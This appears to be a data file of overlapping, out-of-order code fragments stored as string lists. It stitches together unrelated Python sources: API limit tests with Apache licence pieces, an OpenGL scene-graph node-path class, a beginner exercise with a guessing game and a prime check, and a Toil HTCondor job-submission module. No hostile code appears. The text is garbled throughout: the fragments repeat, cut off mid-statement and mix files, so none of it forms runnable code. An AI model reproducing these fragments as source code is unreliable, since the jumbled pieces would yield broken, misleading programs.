self.assertIn('max_zone_recordsets', response.json)", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json)", "or agreed to in writing, software # distributed under the", "<<EMAIL>> # # Licensed under the Apache License, Version 2.0", "required by applicable law or agreed to in writing, software", "self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits =", "2013 Hewlett-Packard Development Company, L.P. # # Author: <NAME> <<EMAIL>>", "or implied. See the # License for the specific language", "Author: <NAME> <<EMAIL>> # # Licensed under the Apache License," ]
[ "if you want to save your current matrix. This method", "Transforming node, do OpenGL transform Does _not_ push-pop matrices, so", "__slots__ = () def transform( self, mode=None, translate=1, scale=1, rotate=1", "transform Does _not_ push-pop matrices, so do that before if", "summary quaternion for all rotations in stack\"\"\" nodes = [", "q * quaternion.fromXYZR( *node.orientation ) return q class NodePath( _NodePath,", "hasattr( node, \"orientation\") ) ] q = quaternion.Quaternion() for node", "quaternion.Quaternion() for node in nodes: q = q * quaternion.fromXYZR(", "from vrml.vrml97 import nodepath, nodetypes from vrml.cache import CACHE from", "): \"\"\"For each Transforming node, do OpenGL transform Does _not_", "): \"\"\"OpenGLContext-specific node-path class At the moment this only adds", "rotate=rotate ) glMultMatrixf( matrix ) def quaternion( self ): \"\"\"Get", "self if ( isinstance(node, nodetypes.Transforming) and hasattr( node, \"orientation\") )", ") return q class NodePath( _NodePath, nodepath.NodePath ): pass class", "q = q * quaternion.fromXYZR( *node.orientation ) return q class", "Transforming node which has a transform method. \"\"\" __slots__ =", "so do that before if you want to save your", "* quaternion.fromXYZR( *node.orientation ) return q class NodePath( _NodePath, nodepath.NodePath", "node in self if ( isinstance(node, nodetypes.Transforming) and hasattr( node,", "without needing a full traversal of the scenegraph. \"\"\" matrix", "to rapidly transform down to the node, without needing a", "() def transform( self, mode=None, translate=1, scale=1, rotate=1 ): \"\"\"For", "which has a transform method. \"\"\" __slots__ = () def", "you want to be able to rapidly transform down to", "transform() which traverses the path, calling transform() for each Transforming", "class At the moment this only adds a single method,", "_not_ push-pop matrices, so do that before if you want", "able to rapidly transform down to the node, without needing", "= () def transform( self, mode=None, translate=1, scale=1, rotate=1 ):", "class NodePath( _NodePath, nodepath.NodePath ): pass class WeakNodePath( _NodePath, nodepath.WeakNodePath", "import CACHE from OpenGLContext import quaternion from OpenGL.GL import glMultMatrixf", "rapidly transform down to the node, without needing a full", "OpenGLContext \"\"\" from vrml.vrml97 import nodepath, nodetypes from vrml.cache import", "def quaternion( self ): \"\"\"Get summary quaternion for all rotations", "to, for instance, bindable nodes, where you want to be", "\"\"\"node-path implementation for OpenGLContext \"\"\" from vrml.vrml97 import nodepath, nodetypes", "a single method, transform() which traverses the path, calling transform()", "self, mode=None, translate=1, scale=1, rotate=1 ): \"\"\"For each Transforming node,", "the scenegraph. \"\"\" matrix = self.transformMatrix( translate=translate, scale=scale, rotate=rotate )", "all rotations in stack\"\"\" nodes = [ node for node", "matrix. This method is useful primarily for storing paths to,", "storing paths to, for instance, bindable nodes, where you want", "for node in self if ( isinstance(node, nodetypes.Transforming) and hasattr(", "\"orientation\") ) ] q = quaternion.Quaternion() for node in nodes:", "you want to save your current matrix. This method is", "in self if ( isinstance(node, nodetypes.Transforming) and hasattr( node, \"orientation\")", "= [ node for node in self if ( isinstance(node,", "Does _not_ push-pop matrices, so do that before if you", "want to be able to rapidly transform down to the", "import quaternion from OpenGL.GL import glMultMatrixf class _NodePath( object ):", "glMultMatrixf class _NodePath( object ): \"\"\"OpenGLContext-specific node-path class At the", "*node.orientation ) return q class NodePath( _NodePath, nodepath.NodePath ): pass", "OpenGLContext import quaternion from OpenGL.GL import glMultMatrixf class _NodePath( object", "transform( self, mode=None, translate=1, scale=1, rotate=1 ): \"\"\"For each Transforming", "OpenGL transform Does _not_ push-pop matrices, so do that before", "= self.transformMatrix( translate=translate, scale=scale, rotate=rotate ) glMultMatrixf( matrix ) def", "is useful primarily for storing paths to, for instance, bindable", "to be able to rapidly transform down to the node,", "\"\"\" matrix = self.transformMatrix( translate=translate, scale=scale, rotate=rotate ) glMultMatrixf( matrix", "from vrml.cache import CACHE from OpenGLContext import quaternion from OpenGL.GL", "moment this only adds a single method, transform() which traverses", "q class NodePath( _NodePath, nodepath.NodePath ): pass class WeakNodePath( _NodePath,", ") def quaternion( self ): \"\"\"Get summary quaternion for all", ") ] q = quaternion.Quaternion() for node in nodes: q", "for node in nodes: q = q * quaternion.fromXYZR( *node.orientation", "matrix = self.transformMatrix( translate=translate, scale=scale, rotate=rotate ) glMultMatrixf( matrix )", "OpenGL.GL import glMultMatrixf class _NodePath( object ): \"\"\"OpenGLContext-specific node-path class", "has a transform method. \"\"\" __slots__ = () def transform(", "scenegraph. \"\"\" matrix = self.transformMatrix( translate=translate, scale=scale, rotate=rotate ) glMultMatrixf(", "q = quaternion.Quaternion() for node in nodes: q = q", "do that before if you want to save your current", "nodes, where you want to be able to rapidly transform", "in stack\"\"\" nodes = [ node for node in self", "traverses the path, calling transform() for each Transforming node which", "node for node in self if ( isinstance(node, nodetypes.Transforming) and", "the moment this only adds a single method, transform() which", "your current matrix. This method is useful primarily for storing", "needing a full traversal of the scenegraph. \"\"\" matrix =", "CACHE from OpenGLContext import quaternion from OpenGL.GL import glMultMatrixf class", "_NodePath( object ): \"\"\"OpenGLContext-specific node-path class At the moment this", "push-pop matrices, so do that before if you want to", "for all rotations in stack\"\"\" nodes = [ node for", "the path, calling transform() for each Transforming node which has", "node, \"orientation\") ) ] q = quaternion.Quaternion() for node in", "for OpenGLContext \"\"\" from vrml.vrml97 import nodepath, nodetypes from vrml.cache", "self ): \"\"\"Get summary quaternion for all rotations in stack\"\"\"", "for storing paths to, for instance, bindable nodes, where you", "implementation for OpenGLContext \"\"\" from vrml.vrml97 import nodepath, nodetypes from", "useful primarily for storing paths to, for instance, bindable nodes,", "[ node for node in self if ( isinstance(node, nodetypes.Transforming)", "def transform( self, mode=None, translate=1, scale=1, rotate=1 ): \"\"\"For each", "This method is useful primarily for storing paths to, for", "method is useful primarily for storing paths to, for instance,", "quaternion for all rotations in stack\"\"\" nodes = [ node", "nodetypes from vrml.cache import CACHE from OpenGLContext import quaternion from", "import nodepath, nodetypes from vrml.cache import CACHE from OpenGLContext import", "node-path class At the moment this only adds a single", "\"\"\"For each Transforming node, do OpenGL transform Does _not_ push-pop", "paths to, for instance, bindable nodes, where you want to", "want to save your current matrix. This method is useful", "NodePath( _NodePath, nodepath.NodePath ): pass class WeakNodePath( _NodePath, nodepath.WeakNodePath ):", "instance, bindable nodes, where you want to be able to", "from OpenGL.GL import glMultMatrixf class _NodePath( object ): \"\"\"OpenGLContext-specific node-path", "current matrix. This method is useful primarily for storing paths", "a transform method. \"\"\" __slots__ = () def transform( self,", "which traverses the path, calling transform() for each Transforming node", "for instance, bindable nodes, where you want to be able", "quaternion( self ): \"\"\"Get summary quaternion for all rotations in", "of the scenegraph. \"\"\" matrix = self.transformMatrix( translate=translate, scale=scale, rotate=rotate", "and hasattr( node, \"orientation\") ) ] q = quaternion.Quaternion() for", "primarily for storing paths to, for instance, bindable nodes, where", "scale=1, rotate=1 ): \"\"\"For each Transforming node, do OpenGL transform", "calling transform() for each Transforming node which has a transform", "object ): \"\"\"OpenGLContext-specific node-path class At the moment this only", "] q = quaternion.Quaternion() for node in nodes: q =", "node, without needing a full traversal of the scenegraph. \"\"\"", "nodes = [ node for node in self if (", "vrml.cache import CACHE from OpenGLContext import quaternion from OpenGL.GL import", "node, do OpenGL transform Does _not_ push-pop matrices, so do", "single method, transform() which traverses the path, calling transform() for", "to save your current matrix. This method is useful primarily", "method, transform() which traverses the path, calling transform() for each", "traversal of the scenegraph. \"\"\" matrix = self.transformMatrix( translate=translate, scale=scale,", "each Transforming node which has a transform method. \"\"\" __slots__", "method. \"\"\" __slots__ = () def transform( self, mode=None, translate=1,", "nodetypes.Transforming) and hasattr( node, \"orientation\") ) ] q = quaternion.Quaternion()", "rotations in stack\"\"\" nodes = [ node for node in", "in nodes: q = q * quaternion.fromXYZR( *node.orientation ) return", "return q class NodePath( _NodePath, nodepath.NodePath ): pass class WeakNodePath(", "that before if you want to save your current matrix.", "before if you want to save your current matrix. This", "transform down to the node, without needing a full traversal", "full traversal of the scenegraph. \"\"\" matrix = self.transformMatrix( translate=translate,", "glMultMatrixf( matrix ) def quaternion( self ): \"\"\"Get summary quaternion", "stack\"\"\" nodes = [ node for node in self if", "bindable nodes, where you want to be able to rapidly", "do OpenGL transform Does _not_ push-pop matrices, so do that", "from OpenGLContext import quaternion from OpenGL.GL import glMultMatrixf class _NodePath(", "a full traversal of the scenegraph. \"\"\" matrix = self.transformMatrix(", "\"\"\"Get summary quaternion for all rotations in stack\"\"\" nodes =", "\"\"\" __slots__ = () def transform( self, mode=None, translate=1, scale=1,", "only adds a single method, transform() which traverses the path,", "each Transforming node, do OpenGL transform Does _not_ push-pop matrices,", "the node, without needing a full traversal of the scenegraph.", "class _NodePath( object ): \"\"\"OpenGLContext-specific node-path class At the moment", "): \"\"\"Get summary quaternion for all rotations in stack\"\"\" nodes", "mode=None, translate=1, scale=1, rotate=1 ): \"\"\"For each Transforming node, do", "= quaternion.Quaternion() for node in nodes: q = q *", "isinstance(node, nodetypes.Transforming) and hasattr( node, \"orientation\") ) ] q =", "matrices, so do that before if you want to save", "scale=scale, rotate=rotate ) glMultMatrixf( matrix ) def quaternion( self ):", "node which has a transform method. \"\"\" __slots__ = ()", "rotate=1 ): \"\"\"For each Transforming node, do OpenGL transform Does", "\"\"\"OpenGLContext-specific node-path class At the moment this only adds a", "transform() for each Transforming node which has a transform method.", "be able to rapidly transform down to the node, without", "_NodePath, nodepath.NodePath ): pass class WeakNodePath( _NodePath, nodepath.WeakNodePath ): pass", "translate=1, scale=1, rotate=1 ): \"\"\"For each Transforming node, do OpenGL", "translate=translate, scale=scale, rotate=rotate ) glMultMatrixf( matrix ) def quaternion( self", "node in nodes: q = q * quaternion.fromXYZR( *node.orientation )", "down to the node, without needing a full traversal of", "transform method. \"\"\" __slots__ = () def transform( self, mode=None,", "save your current matrix. This method is useful primarily for", "nodes: q = q * quaternion.fromXYZR( *node.orientation ) return q", "path, calling transform() for each Transforming node which has a", "this only adds a single method, transform() which traverses the", "= q * quaternion.fromXYZR( *node.orientation ) return q class NodePath(", "\"\"\" from vrml.vrml97 import nodepath, nodetypes from vrml.cache import CACHE", "quaternion from OpenGL.GL import glMultMatrixf class _NodePath( object ): \"\"\"OpenGLContext-specific", "to the node, without needing a full traversal of the", "if ( isinstance(node, nodetypes.Transforming) and hasattr( node, \"orientation\") ) ]", "where you want to be able to rapidly transform down", "( isinstance(node, nodetypes.Transforming) and hasattr( node, \"orientation\") ) ] q", "matrix ) def quaternion( self ): \"\"\"Get summary quaternion for", "quaternion.fromXYZR( *node.orientation ) return q class NodePath( _NodePath, nodepath.NodePath ):", "vrml.vrml97 import nodepath, nodetypes from vrml.cache import CACHE from OpenGLContext", "adds a single method, transform() which traverses the path, calling", "import glMultMatrixf class _NodePath( object ): \"\"\"OpenGLContext-specific node-path class At", "At the moment this only adds a single method, transform()", "for each Transforming node which has a transform method. \"\"\"", ") glMultMatrixf( matrix ) def quaternion( self ): \"\"\"Get summary", "self.transformMatrix( translate=translate, scale=scale, rotate=rotate ) glMultMatrixf( matrix ) def quaternion(", "nodepath, nodetypes from vrml.cache import CACHE from OpenGLContext import quaternion" ]
[ "answer' % count) for i in range(1, 10): for j", "100) count = 0 while True: count += 1 number", "j, i * j), end='\\t') print() # 输入一个正整数判断是不是素数 num =", "sum = 0 for x in range(100, 0, -2): sum", "in range(1, 10): for j in range(1, i + 1):", "= 0 for x in range(101): sum += x print(sum)", "就一定会有一个大于sqrt的因数与之对应 for x in range(2, end + 1): if num", "math import sqrt sum = 0 for x in range(101):", "100-0间的偶数 步长为-2 ''' sum = 0 for x in range(100,", "0 for x in range(100, 0, -2): sum += x", "print('%d*%d=%d' % (i, j, i * j), end='\\t') print() #", "right answer' % count) for i in range(1, 10): for", "10): for j in range(1, i + 1): print('%d*%d=%d' %", "x == 0: is_prime = False break if is_prime and", "range(101) 0-100 一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数", "< answer: print(\"more larger\") elif number > answer: print(\"more smaller\")", "answer: print(\"more smaller\") else: print(\"right\") print('you got d% times to", "步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum = 0 for x", "range(100, 0, -2): sum += x print(sum) # while #", "is_prime and num != 1: print('%d是素数' % num) else: print('%d不是素数'", "range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum = 0", "j), end='\\t') print() # 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: ')) end", "random.randint(0, 100) count = 0 while True: count += 1", "range(1, 10): for j in range(1, i + 1): print('%d*%d=%d'", "count = 0 while True: count += 1 number =", "print(\"right\") print('you got d% times to get right answer' %", "get right answer' % count) for i in range(1, 10):", "= int(input('请输入一个正整数: ')) end = int(sqrt(num)) is_prime = True #", "1): if num % x == 0: is_prime = False", "else: print(\"right\") print('you got d% times to get right answer'", "1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum =", "1): print('%d*%d=%d' % (i, j, i * j), end='\\t') print()", "= 0 for x in range(100, 0, -2): sum +=", "for j in range(1, i + 1): print('%d*%d=%d' % (i,", "is_prime = False break if is_prime and num != 1:", "from math import sqrt sum = 0 for x in", "and num != 1: print('%d是素数' % num) else: print('%d不是素数' %", "''' sum = 0 for x in range(100, 0, -2):", "for x in range(101): sum += x print(sum) ''' range(101)", "range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum", "0-100 一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2", "\")) if number < answer: print(\"more larger\") elif number >", "for x in range(2, end + 1): if num %", "sum = 0 for x in range(101): sum += x", "in range(101): sum += x print(sum) ''' range(101) 0-100 一共101个数", "range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum = 0 for x in", "+= x print(sum) # while # 0-100间的随机数 answer = random.randint(0,", "while # 0-100间的随机数 answer = random.randint(0, 100) count = 0", "answer: print(\"more larger\") elif number > answer: print(\"more smaller\") else:", "= 0 while True: count += 1 number = int(input(\"Please", "# 就一定会有一个大于sqrt的因数与之对应 for x in range(2, end + 1): if", "i + 1): print('%d*%d=%d' % (i, j, i * j),", "int(input(\"Please enter the number: \")) if number < answer: print(\"more", "-2): sum += x print(sum) # while # 0-100间的随机数 answer", "enter the number: \")) if number < answer: print(\"more larger\")", "+= x print(sum) ''' range(101) 0-100 一共101个数 range(1,101) 1-100 range(1,101,2)", "x print(sum) ''' range(101) 0-100 一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数", "# while # 0-100间的随机数 answer = random.randint(0, 100) count =", "x print(sum) # while # 0-100间的随机数 answer = random.randint(0, 100)", "number: \")) if number < answer: print(\"more larger\") elif number", "False break if is_prime and num != 1: print('%d是素数' %", "print('you got d% times to get right answer' % count)", "0-100间的随机数 answer = random.randint(0, 100) count = 0 while True:", "end = int(sqrt(num)) is_prime = True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 #", "print(\"more larger\") elif number > answer: print(\"more smaller\") else: print(\"right\")", "% x == 0: is_prime = False break if is_prime", "if is_prime and num != 1: print('%d是素数' % num) else:", "sqrt sum = 0 for x in range(101): sum +=", "if num % x == 0: is_prime = False break", "0 while True: count += 1 number = int(input(\"Please enter", "the number: \")) if number < answer: print(\"more larger\") elif", "end + 1): if num % x == 0: is_prime", "+ 1): if num % x == 0: is_prime =", "x in range(2, end + 1): if num % x", "if number < answer: print(\"more larger\") elif number > answer:", "end='\\t') print() # 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: ')) end =", "+ 1): print('%d*%d=%d' % (i, j, i * j), end='\\t')", "import random from math import sqrt sum = 0 for", "== 0: is_prime = False break if is_prime and num", "int(input('请输入一个正整数: ')) end = int(sqrt(num)) is_prime = True # 为什么要放一个end", "print() # 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: ')) end = int(sqrt(num))", "num = int(input('请输入一个正整数: ')) end = int(sqrt(num)) is_prime = True", "= False break if is_prime and num != 1: print('%d是素数'", "+= 1 number = int(input(\"Please enter the number: \")) if", "number > answer: print(\"more smaller\") else: print(\"right\") print('you got d%", "= True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x in", "int(sqrt(num)) is_prime = True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for", "number < answer: print(\"more larger\") elif number > answer: print(\"more", "(i, j, i * j), end='\\t') print() # 输入一个正整数判断是不是素数 num", "while True: count += 1 number = int(input(\"Please enter the", "= int(sqrt(num)) is_prime = True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应", "in range(100, 0, -2): sum += x print(sum) # while", "range(1, i + 1): print('%d*%d=%d' % (i, j, i *", "% count) for i in range(1, 10): for j in", "x in range(101): sum += x print(sum) ''' range(101) 0-100", "sum += x print(sum) # while # 0-100间的随机数 answer =", "')) end = int(sqrt(num)) is_prime = True # 为什么要放一个end 如果这个数有一个小于sqrt的因数", "# 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x in range(2, end", "d% times to get right answer' % count) for i", "in range(1, i + 1): print('%d*%d=%d' % (i, j, i", "* j), end='\\t') print() # 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: '))", "elif number > answer: print(\"more smaller\") else: print(\"right\") print('you got", "步长为-2 ''' sum = 0 for x in range(100, 0,", "print(sum) ''' range(101) 0-100 一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2", "in range(2, end + 1): if num % x ==", "sum += x print(sum) ''' range(101) 0-100 一共101个数 range(1,101) 1-100", "times to get right answer' % count) for i in", "True: count += 1 number = int(input(\"Please enter the number:", "一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 '''", "print(sum) # while # 0-100间的随机数 answer = random.randint(0, 100) count", "import sqrt sum = 0 for x in range(101): sum", "1 number = int(input(\"Please enter the number: \")) if number", "random from math import sqrt sum = 0 for x", "got d% times to get right answer' % count) for", "number = int(input(\"Please enter the number: \")) if number <", "> answer: print(\"more smaller\") else: print(\"right\") print('you got d% times", "i in range(1, 10): for j in range(1, i +", "num % x == 0: is_prime = False break if", "''' range(101) 0-100 一共101个数 range(1,101) 1-100 range(1,101,2) 1-100间的奇数 步长为2 range(100,0,-2)", "# 0-100间的随机数 answer = random.randint(0, 100) count = 0 while", "j in range(1, i + 1): print('%d*%d=%d' % (i, j,", "0, -2): sum += x print(sum) # while # 0-100间的随机数", "break if is_prime and num != 1: print('%d是素数' % num)", "如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x in range(2, end + 1):", "% (i, j, i * j), end='\\t') print() # 输入一个正整数判断是不是素数", "0 for x in range(101): sum += x print(sum) '''", "for i in range(1, 10): for j in range(1, i", "for x in range(100, 0, -2): sum += x print(sum)", "x in range(100, 0, -2): sum += x print(sum) #", "# 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: ')) end = int(sqrt(num)) is_prime", "count) for i in range(1, 10): for j in range(1,", "answer = random.randint(0, 100) count = 0 while True: count", "smaller\") else: print(\"right\") print('you got d% times to get right", "1-100间的奇数 步长为2 range(100,0,-2) 100-0间的偶数 步长为-2 ''' sum = 0 for", "larger\") elif number > answer: print(\"more smaller\") else: print(\"right\") print('you", "i * j), end='\\t') print() # 输入一个正整数判断是不是素数 num = int(input('请输入一个正整数:", "输入一个正整数判断是不是素数 num = int(input('请输入一个正整数: ')) end = int(sqrt(num)) is_prime =", "is_prime = True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x", "to get right answer' % count) for i in range(1,", "0: is_prime = False break if is_prime and num !=", "count += 1 number = int(input(\"Please enter the number: \"))", "range(2, end + 1): if num % x == 0:", "True # 为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x in range(2,", "= random.randint(0, 100) count = 0 while True: count +=", "= int(input(\"Please enter the number: \")) if number < answer:", "print(\"more smaller\") else: print(\"right\") print('you got d% times to get", "为什么要放一个end 如果这个数有一个小于sqrt的因数 # 就一定会有一个大于sqrt的因数与之对应 for x in range(2, end +", "num != 1: print('%d是素数' % num) else: print('%d不是素数' % num)", "range(101): sum += x print(sum) ''' range(101) 0-100 一共101个数 range(1,101)" ]
[ "{0} was killed by Toil\".format(batchJobID)) # Remove the job from", "except RuntimeError: logger.error(\"Could not connect to HTCondor Schedd\") raise return", "self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity def prepareSubmission(self, cpu, memory, disk,", "batchJobID def getRunningJobIDs(self): # Get all Toil jobs that are", "has not completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return None \"\"\"", "'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory),", "job from the Schedd and return its exit code job_spec", "job {0} was held: '{1} (sub code {2})'\".format( batchJobID, ad['HoldReason'],", "WI. # # Licensed under the Apache License, Version 2.0", "in KB disk = float(disk)/1024 # disk in KB #", "import absolute_import from builtins import str import sys import os", "methods \"\"\" def connectSchedd(self): '''Connect to HTCondor Schedd and return", "jobs to the batch queue, handle locally localID = self.handleLocalJob(jobNode)", "to HTCondor Schedd on local machine\") schedd = htcondor.Schedd() #", "from builtins import str import sys import os import logging", "system ID (i.e. the ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job", "was returned try: ads.next() except StopIteration: pass else: logger.warning( \"Multiple", "# Queue jobs as necessary: while len(self.waitingJobs) > 0: activity", "command) logger.debug(\"Submitting %r\", submitObj) # Submit job and get batch", "constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was killed by", "Use a htcondor.Collector().query() to determine reasonable values. max_cpu = 4", "\"No HTCondor ads returned using constraint: {0}\".format(requirements)) raise # Make", "Override the issueBatchJob method so HTCondor can be given the", "'''Build an environment string that a HTCondor Submit object can", "== 4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False',", "Wisconsin-Madison, WI. # # Licensed under the Apache License, Version", "find HTCondor Schedd with name {0}\".format(schedd_name)) raise else: schedd =", "batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) # Set the", "'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)',", "= requirements, projection = projection) # Make sure a ClassAd", "-c \"command\" # TODO: Transfer the jobStore directory if using", "{0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor", "CPUs memory = float(memory)/1024 # memory in KB disk =", "builtins import str import sys import os import logging import", "schedd_name) except IOError: logger.error( \"Could not connect to HTCondor Collector", "disk request def issueBatchJob(self, jobNode): # Avoid submitting internal jobs", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "relative path. submit_parameters = { 'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments':", "except ValueError: logger.error( \"Could not find HTCondor Schedd with name", "ad['HoldReasonSubCode'])) # Remove the job from the Schedd and return", "# When using HTCondor, the Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker):", "runtime return job_runtimes def killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing", "max cpus and max memory available # in an HTCondor", "Schedd is on the local machine else: logger.debug(\"Connecting to HTCondor", "logger.debug(\"Submitted job %s\", str(batchJobID)) # Store dict for mapping Toil", "running requirements = '(JobStatus == 2) && (IsToilJob)' projection =", "def getEnvString(self): '''Build an environment string that a HTCondor Submit", "the Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs", "to queue of queued (\"running\") jobs self.runningJobs.add(jobID) # Add to", "jobNode.command)) logger.debug(\"Issued the job command: %s with job id: %s", "to determine reasonable values. max_cpu = 4 max_mem = 4e9", "variable should be separated by a single space return '\"'", "env_string += \"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string)", "by a single space return '\"' + ' '.join(env_items) +", "# Since it's not always clear what the max cpus", "form of <key>='<value>' env_string = key + \"=\" # The", "local machine\") schedd = htcondor.Schedd() # Ping the Schedd to", "= self.connectSchedd() with schedd.transaction() as txn: batchJobID = submitObj.queue(txn) #", "language governing permissions and # limitations under the License. from", "# Execute the entire command as /bin/sh -c \"command\" #", "# Each variable should be separated by a single space", "the second value is None by default and doesn't #", "= '(ClusterId == {0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason',", "'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else: # Job", "1 else: # Job still running or idle or doing", "the form of <key>='<value>' env_string = key + \"=\" #", "Since it's not always clear what the max cpus and", "transaction schedd = self.connectSchedd() with schedd.transaction() as txn: batchJobID =", "'Transferring Output', 7: 'Suspended' } requirements = '(ClusterId == {0})'.format(batchJobID)", "toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor import classad logger = logging.getLogger(__name__)", "job from the Schedd and return 1 job_spec = 'ClusterId", "use them to find the Schedd if condor_host and schedd_name:", "status = { 1: 'Idle', 2: 'Running', 3: 'Removed', 4:", "(batchJobID in batchJobIDs): continue # HTCondor stores the start of", "= ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd() ads", "__future__ import absolute_import from builtins import str import sys import", "class Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs method so that we", "'Running', 3: 'Removed', 4: 'Completed', 5: 'Held', 6: 'Transferring Output',", "= self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID)) # Store dict for", "Implementation-specific helper methods \"\"\" def connectSchedd(self): '''Connect to HTCondor Schedd", "jobNode): # Avoid submitting internal jobs to the batch queue,", "HTCondor, the Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): # Override the", "the issueBatchJob method so HTCondor can be given the disk", "job using a Schedd transaction schedd = self.connectSchedd() with schedd.transaction()", "handle locally localID = self.handleLocalJob(jobNode) if localID: return localID else:", "locally localID = self.handleLocalJob(jobNode) if localID: return localID else: self.checkResourceRequest(jobNode.memory,", "= { 'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment':", "values. max_cpu = 4 max_mem = 4e9 return max_cpu, max_mem", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "and return its exit code job_spec = 'ClusterId == {0}'.format(batchJobID)", "that are part of this workflow batchJobIDs = [batchJobID for", "== {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held':", "idle or doing something else logger.debug(\"HTCondor job {0} has not", "# Override the createJobs method so that we can use", "condor_host and schedd_name: logger.debug( \"Connecting to HTCondor Schedd {0} using", "'{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } # Return the Submit", "localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID) #", "exit code job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return", "'(JobStatus == 4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled':", "def getRunningJobIDs(self): # Get all Toil jobs that are running", "under the License is distributed on an \"AS IS\" BASIS,", "(IsToilJob)' projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd() ads", "License for the specific language governing permissions and # limitations", "= schedd.xquery(requirements = requirements, projection = projection) # Only consider", "jobName, command = self.waitingJobs.pop(0) # Prepare the htcondor.Submit object submitObj", "in self.boss.environment.items(): # Each variable should be in the form", "queued (\"running\") jobs self.runningJobs.add(jobID) # Add to allocated resources self.allocatedCpus[jobID]", "under the License. from __future__ import absolute_import from builtins import", "logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor, the Schedd handles", "self.waitingJobs.append(newJob) # Queue jobs as necessary: while len(self.waitingJobs) > 0:", "self.connectSchedd() ads = schedd.xquery(requirements = requirements, projection = projection) #", "jobNode.command, str(jobID)) return jobID @classmethod def obtainSystemConstants(cls): # Since it's", "something else logger.debug(\"HTCondor job {0} has not completed (Status: {1})\".format(", "schedd_name, condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except 